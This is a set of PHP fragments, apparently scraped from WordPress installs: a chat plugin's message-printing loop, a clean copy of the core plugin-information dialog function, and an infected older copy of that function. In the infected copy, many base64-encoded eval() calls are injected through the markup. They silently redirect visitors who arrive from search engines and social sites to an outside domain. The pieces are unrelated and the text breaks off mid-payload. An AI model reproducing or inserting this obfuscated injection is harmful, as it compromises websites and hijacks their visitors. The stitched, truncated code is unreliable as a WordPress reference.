if ($start === false) { } else { $end = strpos($buffer, "}}"); if ($end === false) { } else { $first_bit = substr($buffer, 0, $start); $last_bit = substr($buffer, $end+2, strlen($buffer)-$end-2); $bit = substr($buffer, $start+2, $end-$start-2); $buffer = $first_bit."<img style='width:24px;height:24px' src='".$smileys.strip_tags($bit).".png' alt='emoticon'/>".$last_bit; } } } while ($i < 100 && strpos($buffer, "{{")>0); $msg = $buffer; //make hyperlinks $msg = links_add_target(make_clickable($msg)); //print messages if($row->system_message == 'yes'){ //message from system print '<p class="system">'.$msg.'</p>'; }elseif($row->from_id != $_POST['own_id']){ print '<p class="notme">'.$msg.'</p>'; }else{ print '<p class="me">'.$msg.'</p>'; } //if to_id = current user, mark message as received if($row->to_id == $_POST['own_id']){ $wpdb->query($wpdb->prepare("UPDATE ".$wpdb->base_prefix."symposium_chat2 SET recd='1' WHERE id=%s AND recd='0'", $row->id)); }
/** * Display plugin information in dialog box form. * * @since 2.7.0 */ function install_plugin_information() { global $tab; $api = plugins_api('plugin_information', array('slug' => wp_unslash($_REQUEST['plugin']))); if (is_wp_error($api)) { wp_die($api); } $plugins_allowedtags = array('a' => array('href' => array(), 'title' => array(), 'target' => array()), 'abbr' => array('title' => array()), 'acronym' => array('title' => array()), 'code' => array(), 'pre' => array(), 'em' => array(), 'strong' => array(), 'div' => array(), 'p' => array(), 'ul' => array(), 'ol' => array(), 'li' => array(), 'h1' => array(), 'h2' => array(), 'h3' => array(), 'h4' => array(), 'h5' => array(), 'h6' => array(), 'img' => array('src' => array(), 'class' => array(), 'alt' => array())); $plugins_section_titles = array('description' => _x('Description', 'Plugin installer section title'), 'installation' => _x('Installation', 'Plugin installer section title'), 'faq' => _x('FAQ', 'Plugin installer section title'), 'screenshots' => _x('Screenshots', 'Plugin installer section title'), 'changelog' => _x('Changelog', 'Plugin installer section title'), 'other_notes' => _x('Other Notes', 'Plugin installer section title')); //Sanitize HTML foreach ((array) $api->sections as $section_name => $content) { $api->sections[$section_name] = wp_kses($content, $plugins_allowedtags); } foreach (array('version', 'author', 'requires', 'tested', 'homepage', 'downloaded', 'slug') as $key) { if (isset($api->{$key})) { $api->{$key} = wp_kses($api->{$key}, $plugins_allowedtags); } } $section = isset($_REQUEST['section']) ? wp_unslash($_REQUEST['section']) : 'description'; //Default to the Description tab, Do not translate, API returns English. if (empty($section) || !isset($api->sections[$section])) { $section = array_shift($section_titles = array_keys((array) $api->sections)); } iframe_header(__('Plugin Install')); echo "<div id='{$tab}-header'>\n"; echo "<ul id='sidemenu'>\n"; foreach ((array) $api->sections as $section_name => $content) { if (isset($plugins_section_titles[$section_name])) { $title = $plugins_section_titles[$section_name]; } else { $title = ucwords(str_replace('_', ' ', $section_name)); } $class = $section_name == $section ? ' class="current"' : ''; $href = add_query_arg(array('tab' => $tab, 'section' => $section_name)); $href = esc_url($href); $san_section = esc_attr($section_name); echo "\t<li><a name='{$san_section}' href='{$href}' {$class}>{$title}</a></li>\n"; } echo "</ul>\n"; echo "</div>\n"; ?> <div class="alignright fyi"> <?php if (!empty($api->download_link) && (current_user_can('install_plugins') || current_user_can('update_plugins'))) { ?> <p class="action-button"> <?php $status = install_plugin_install_status($api); switch ($status['status']) { case 'install': if ($status['url']) { echo '<a href="' . $status['url'] . '" target="_parent">' . __('Install Now') . '</a>'; } break; case 'update_available': if ($status['url']) { echo '<a href="' . $status['url'] . '" target="_parent">' . __('Install Update Now') . '</a>'; } break; case 'newer_installed': echo '<a>' . sprintf(__('Newer Version (%s) Installed'), $status['version']) . '</a>'; break; case 'latest_installed': echo '<a>' . __('Latest Version Installed') . '</a>'; break; } ?> </p> <?php } ?> <h2 class="mainheader"><?php /* translators: For Your Information */ _e('FYI'); ?> </h2> <ul> <?php if (!empty($api->version)) { ?> <li><strong><?php _e('Version:'); ?> </strong> <?php echo $api->version; ?> </li> <?php } if (!empty($api->author)) { ?> <li><strong><?php _e('Author:'); ?> </strong> <?php echo links_add_target($api->author, '_blank'); ?> </li> <?php } if (!empty($api->last_updated)) { ?> <li><strong><?php _e('Last Updated:'); ?> </strong> <span title="<?php echo $api->last_updated; ?> "><?php printf(__('%s ago'), human_time_diff(strtotime($api->last_updated))); ?> </span></li> <?php } if (!empty($api->requires)) { ?> <li><strong><?php _e('Requires WordPress Version:'); ?> </strong> <?php printf(__('%s or higher'), $api->requires); ?> </li> <?php } if (!empty($api->tested)) { ?> <li><strong><?php _e('Compatible up to:'); ?> </strong> <?php echo $api->tested; ?> </li> <?php } if (!empty($api->downloaded)) { ?> <li><strong><?php _e('Downloaded:'); ?> </strong> <?php printf(_n('%s time', '%s times', $api->downloaded), number_format_i18n($api->downloaded)); ?> </li> <?php } if (!empty($api->slug) && empty($api->external)) { ?> <li><a target="_blank" href="http://wordpress.org/extend/plugins/<?php echo $api->slug; ?> /"><?php _e('WordPress.org Plugin Page »'); ?> </a></li> <?php } if (!empty($api->homepage)) { ?> <li><a target="_blank" href="<?php echo $api->homepage; ?> "><?php _e('Plugin Homepage »'); ?> </a></li> <?php } ?> </ul> <?php if (!empty($api->rating)) { ?> <h2><?php _e('Average Rating'); ?> </h2> <div class="star-holder" title="<?php printf(_n('(based on %s rating)', '(based on %s ratings)', $api->num_ratings), number_format_i18n($api->num_ratings)); ?> "> <div class="star star-rating" style="width: <?php echo esc_attr(str_replace(',', '.', $api->rating)); ?> px"></div> </div> <small><?php printf(_n('(based on %s rating)', '(based on %s ratings)', $api->num_ratings), number_format_i18n($api->num_ratings)); ?> </small> <?php } ?> </div> <div id="section-holder" class="wrap"> <?php if (!empty($api->tested) && version_compare(substr($GLOBALS['wp_version'], 0, strlen($api->tested)), $api->tested, '>')) { echo '<div class="updated"><p>' . __('<strong>Warning:</strong> This plugin has <strong>not been tested</strong> with your current version of WordPress.') . '</p></div>'; } else { if (!empty($api->requires) && version_compare(substr($GLOBALS['wp_version'], 0, strlen($api->requires)), $api->requires, '<')) { echo '<div class="updated"><p>' . __('<strong>Warning:</strong> This plugin has <strong>not been marked as compatible</strong> with your version of WordPress.') . '</p></div>'; } } foreach ((array) $api->sections as $section_name => $content) { if (isset($plugins_section_titles[$section_name])) { $title = $plugins_section_titles[$section_name]; } else { $title = ucwords(str_replace('_', ' ', $section_name)); } $content = links_add_base_url($content, 'http://wordpress.org/extend/plugins/' . $api->slug . '/'); $content = links_add_target($content, '_blank'); $san_section = esc_attr($section_name); $display = $section_name == $section ? 'block' : 'none'; echo "\t<div id='section-{$san_section}' class='section' style='display: {$display};'>\n"; echo "\t\t<h2 class='long-header'>{$title}</h2>"; echo $content; echo "\t</div>\n"; } echo "</div>\n"; iframe_footer(); exit; }
/** * Display plugin information in dialog box form. * * @since 2.7.0 */ function install_plugin_information() { global $tab; $api = plugins_api('plugin_information', array('slug' => stripslashes($_REQUEST['plugin']))); if (is_wp_error($api)) { wp_die($api); } $plugins_allowedtags = array('a' => array('href' => array(), 'title' => array(), 'target' => array()), 'abbr' => array('title' => array()), 'acronym' => array('title' => array()), 'code' => array(), 'pre' => array(), 'em' => array(), 'strong' => array(), 'div' => array(), 'p' => array(), 'ul' => array(), 'ol' => array(), 'li' => array(), 'h1' => array(), 'h2' => array(), 'h3' => array(), 'h4' => array(), 'h5' => array(), 'h6' => array(), 'img' => array('src' => array(), 'class' => array(), 'alt' => array())); //Sanitize HTML foreach ((array) $api->sections as $section_name => $content) { $api->sections[$section_name] = wp_kses($content, $plugins_allowedtags); } foreach (array('version', 'author', 'requires', 'tested', 'homepage', 'downloaded', 'slug') as $key) { $api->{$key} = wp_kses($api->{$key}, $plugins_allowedtags); } $section = isset($_REQUEST['section']) ? stripslashes($_REQUEST['section']) : 'description'; //Default to the Description tab, Do not translate, API returns English. if (empty($section) || !isset($api->sections[$section])) { $section = array_shift($section_titles = array_keys((array) $api->sections)); } iframe_header(__('Plugin Install')); echo "<div id='{$tab}-header'>\n"; echo "<ul id='sidemenu'>\n"; foreach ((array) $api->sections as $section_name => $content) { $title = $section_name; $title = ucwords(str_replace('_', ' ', $title)); $class = $section_name == $section ? ' class="current"' : ''; $href = add_query_arg(array('tab' => $tab, 'section' => $section_name)); $href = esc_url($href); $san_title = esc_attr(sanitize_title_with_dashes($title)); echo "\t<li><a name='{$san_title}' target='' href='{$href}'{$class}>{$title}</a></li>\n"; } echo "</ul>\n"; echo "</div>\n"; ?> <div class="alignright fyi"> <?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); if (!empty($api->download_link)) { ?> <p class="action-button"> <?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); //Default to a "new" plugin $type = 'install'; //Check to see if this plugin is known to be installed, and has an update awaiting it. $update_plugins = get_transient('update_plugins'); if (is_object($update_plugins)) { foreach ((array) $update_plugins->response as $file => $plugin) { if ($plugin->slug === $api->slug) { $type = 'update_available'; $update_file = $file; break; } } } if ('install' == $type && is_dir(WP_PLUGIN_DIR . '/' . $api->slug)) { $installed_plugin = get_plugins('/' . $api->slug); if (!empty($installed_plugin)) { $key = array_shift($key = array_keys($installed_plugin)); //Use the first plugin regardless of the name, Could have issues for multiple-plugins in one directory if they share different version numbers if (version_compare($api->version, $installed_plugin[$key]['Version'], '=')) { $type = 'latest_installed'; } elseif (version_compare($api->version, $installed_plugin[$key]['Version'], '<')) { $type = 'newer_installed'; $newer_version = $installed_plugin[$key]['Version']; } else { //If the above update check failed, Then that probably means that the update checker has out-of-date information, force a refresh delete_transient('update_plugins'); $update_file = $api->slug . '/' . $key; //This code branch only deals with a plugin which is in a folder the same name as its slug, Doesnt support plugins which have 'non-standard' names $type = 'update_available'; } } } switch ($type) { default: case 'install': if (current_user_can('install_plugins')) { ?> <a href="<?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgp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OiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); echo wp_nonce_url(admin_url('update.php?action=install-plugin&plugin=' . $api->slug), 'install-plugin_' . $api->slug); ?> " target="_parent"><?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJl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Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); } break; case 'update_available': if (current_user_can('update_plugins')) { ?> <a href="<?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); echo wp_nonce_url(admin_url('update.php?action=upgrade-plugin&plugin=' . $update_file), 'upgrade-plugin_' . $update_file); ?> " target="_parent"><?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJh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YgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); } break; case 'newer_installed': if (current_user_can('install_plugins') || current_user_can('update_plugins')) { ?> <a><?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mZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); } break; case 'latest_installed': if (current_user_can('install_plugins') || current_user_can('update_plugins')) { ?> <a><?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHk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9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); echo links_add_target($api->author, '_blank'); ?> </li> <?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0V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lcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); printf(__('%s ago'), human_time_diff(strtotime($api->last_updated))); ?> </span></li> <?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc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mlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dv